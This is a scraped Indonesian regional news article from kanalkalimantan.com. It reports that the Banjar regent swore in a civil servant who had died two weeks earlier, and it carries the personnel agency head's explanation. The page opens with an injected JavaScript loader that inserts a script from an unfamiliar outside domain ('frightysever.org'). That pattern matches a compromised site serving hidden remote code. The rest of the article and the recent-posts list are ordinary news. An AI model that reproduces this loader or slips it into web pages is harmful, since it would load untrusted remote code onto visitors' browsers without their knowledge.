(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Data Belum Update, Bupati Banjar Lantik ASN yang Sudah Meninggal DuniaÂ


KANALKALIMANTAN.COM, MARTAPURA – Ada yang menarik saat pelantikan 158 pejabat eselon 3 dan 4, di lingkup Kabupaten Banjar, Rabu (29/9/2021) lalu. Ternyata, salah satu ASN yang masuk daftar pejabat yang dilantik oleh Bupati Banjar H Saidi Mansyur, sudah meninggal dunia dua pekan lalu.

Almarhum yang dilantik adalah Alamsyah (44), yang sebelumnya menjabat sebagai Kepala Seksi Pemberdayaan Masyarakat Pemerintah Kelurahan Sungai Lulut. Belum lama tadi Alamsyah kembali dilantik menjadi Kepala Seksi Irigasi dan Rawa Dinas PUPR di Kabupaten Banjar.

Pelantikan ini mengacu kepada surat Keputusan Bupati Banjar nomor 8 : 21- 010 – MPI / BKDPSDM serta Peraturan Pemerintah Nomor 17 Tahun 2020 tentang perubahan dan peraturan pemerintah nomor 11 tahun 2017 tentang Manajemen Pegawai Negeri Sipil yang merupakan tindak lanjut dari Undang Undang ASN.

Menanggapi hal ini berdasarkan video yang diterima kanalkalimantan.com berdasarkan hasil wawancara dengan Kepala Badan Kepegawaian Daerah dan Pengembangan Sumber Daya Manusia (BKDPSDM) Kabupaten Banjar Rakhmat Dhani, yang bersangkutan belum mengetahui pegawai tersebut telah meninggal dunia dua minggu lalu.

 

 

Baca juga : Novel Baswedan: Pimpinan KPK Kok Malah Takut Sama Orang Berantas Korupsi, Lucu Kan?

“Kami terus terang belum menerima laporan mengenai adanya pegawai yang meninggal dunia, nanti kami cek dulu mungkin jika memang meninggal dunia SK-nya akan kita lakukan perbaikan,” akunya.

Ditambahkan Dhani terkait ASN yang biasanya diinformasikan meninggal dunia, pihaknya sudah membentuk grup dari tingkat kelurahan sehingga dapat diupdate di data Sistem Informasi Kepegawaian (SIMPEG) Kabupaten Banjar.

“Seharusnya jika ada yang meninggal dunia biasa kita update di data kepegawaian di Simpeg itu tadi, sampai sekarang kita masih belum ada laporan, baru tau juga saya dari pertanyaan media ini,” tutupnya.

Di antara 158 orang pejabat eselon 3 dan 4 yang dilantik, juga ada mantan terpidana pelanggaran netralitas ASN pada Pilbup Banjar 2020. ASN yang divonis bersalah itu dilantik menjadi sekretaris di salah satu SKPD. (kanalkalimantan.com/kk)

Reporter : kk
Editor : cell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.